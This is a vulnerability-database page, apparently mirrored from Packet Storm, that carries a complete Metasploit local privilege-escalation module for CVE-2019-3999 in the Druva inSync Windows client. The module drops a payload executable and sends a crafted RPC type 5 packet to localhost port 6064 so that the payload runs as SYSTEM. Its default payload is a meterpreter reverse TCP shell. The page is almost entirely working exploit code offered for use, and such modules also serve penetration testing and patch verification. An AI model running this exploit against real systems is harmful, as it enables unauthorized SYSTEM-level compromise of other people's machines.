Lucene search
K

Druva inSync inSyncCPHwnet64.exe RPC Type 5 Privilege Escalation

🗓️ 12 May 2020 00:00:00Reported by Brendan ColesType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 183 Views

Druva inSync client for Windows exposes a network service on TCP port 6064 allowing execution of arbitrary commands as SYSTE

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Post::File  
include Post::Windows::Priv  
include Post::Windows::Services  
include Exploit::EXE  
include Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
{  
'Name' => 'Druva inSync inSyncCPHwnet64.exe RPC Type 5 Privilege Escalation',  
'Description' => %q{  
Druva inSync client for Windows exposes a network service on TCP port  
6064 on the local network interface. inSync versions 6.5.2 and prior  
do not validate user-supplied program paths in RPC type 5 messages,  
allowing execution of arbitrary commands as SYSTEM.  
This module has been tested successfully on inSync version  
6.5.2r99097 on Windows 7 SP1 (x64).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Chris Lyne', # Discovery and Python exploit (@lynerc)  
'bcoles' # Metasploit  
],  
'References' =>  
[  
['CVE', '2019-3999'],  
['EDB', '48400'],  
['PACKETSTORM', '157493'],  
['URL', 'https://www.tenable.com/security/research/tra-2020-12'],  
['URL', 'https://github.com/tenable/poc/blob/master/druva/inSync/druva_win_cphwnet64.py'],  
],  
'Platform' =>  
[  
'win'  
],  
'SessionTypes' =>  
[  
'meterpreter'  
],  
'Targets' =>  
[  
[  
'Automatic',  
{}  
]  
],  
'DisclosureDate' => '2020-02-25',  
'DefaultOptions' =>  
{  
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'  
},  
'Notes' =>  
{  
'Reliability' =>  
[  
REPEATABLE_SESSION  
],  
'Stability' =>  
[  
CRASH_SAFE  
]  
},  
'DefaultTarget' => 0  
}  
)  
)  
register_advanced_options([  
OptString.new(  
'WritableDir',  
[  
false,  
'A directory where we can write files (%TEMP% by default)',  
nil  
]  
),  
])  
end  
  
def base_dir  
datastore['WritableDir'].blank? ? session.sys.config.getenv('TEMP') : datastore['WritableDir'].to_s  
end  
  
def service_exists?(service)  
srv_info = service_info(service)  
  
if srv_info.nil?  
vprint_warning('Unable to enumerate Windows services')  
return false  
end  
  
if srv_info && srv_info[:display].empty?  
return false  
end  
  
true  
end  
  
def execute_command(host, port, command)  
header = 'inSync PHC RPCW[v0002]'  
rpc_type = [5].pack('V')  
cmd = command.force_encoding('UTF-8').unpack('U*').pack('v*')  
  
pkt = header  
pkt << rpc_type  
pkt << [cmd.length].pack('V')  
pkt << cmd  
  
result = session.railgun.ws2_32.WSASocketA('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP', nil, nil, 0)  
  
unless result['GetLastError'] == 0  
fail_with(Failure::Unknown, "Could not create socket: #{result['ErrorMessage']}")  
end  
  
socket = result['return']  
  
sock_addr = [AF_INET].pack('v')  
sock_addr << [port].pack('n')  
sock_addr << Rex::Socket.addr_aton(host)  
sock_addr << "\x00" * 8  
  
print_status("Connecting to #{host}:#{port} ...")  
  
result = client.railgun.ws2_32.connect(socket, sock_addr, sock_addr.length)  
  
unless result['GetLastError'] == 0  
fail_with(Failure::Unreachable, "Could not connect to #{host}:#{port} : #{result['ErrorMessage']}")  
end  
  
print_status("Sending packet (#{pkt.length} bytes) to #{host}:#{port} ...")  
vprint_status("Sending: #{pkt.inspect}")  
  
result = session.railgun.ws2_32.sendto(socket, pkt, pkt.length, 0, sock_addr, sock_addr.length)  
  
unless result['GetLastError'] == 0  
fail_with(Failure::NotVulnerable, "Could not send data to port: #{result['ErrorMessage']}")  
end  
  
session.railgun.ws2_32.closesocket(socket)  
end  
  
def check  
service = 'inSyncCPHService'  
  
unless service_exists?(service)  
return CheckCode::Safe("Service '#{service}' does not exist")  
end  
  
CheckCode::Detected("Service '#{service}' exists")  
end  
  
def exploit  
unless check == CheckCode::Detected  
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')  
end  
  
if is_system?  
fail_with(Failure::BadConfig, 'Session already has SYSTEM privileges')  
end  
  
payload_path = "#{base_dir}\\#{Rex::Text.rand_text_alphanumeric(8..10)}.exe"  
payload_exe = generate_payload_exe  
vprint_status("Writing payload (#{payload.encoded.length} bytes) to #{payload_path} ...")  
write_file(payload_path, payload_exe)  
register_file_for_cleanup(payload_path)  
  
execute_command('127.0.0.1', 6064, payload_path)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation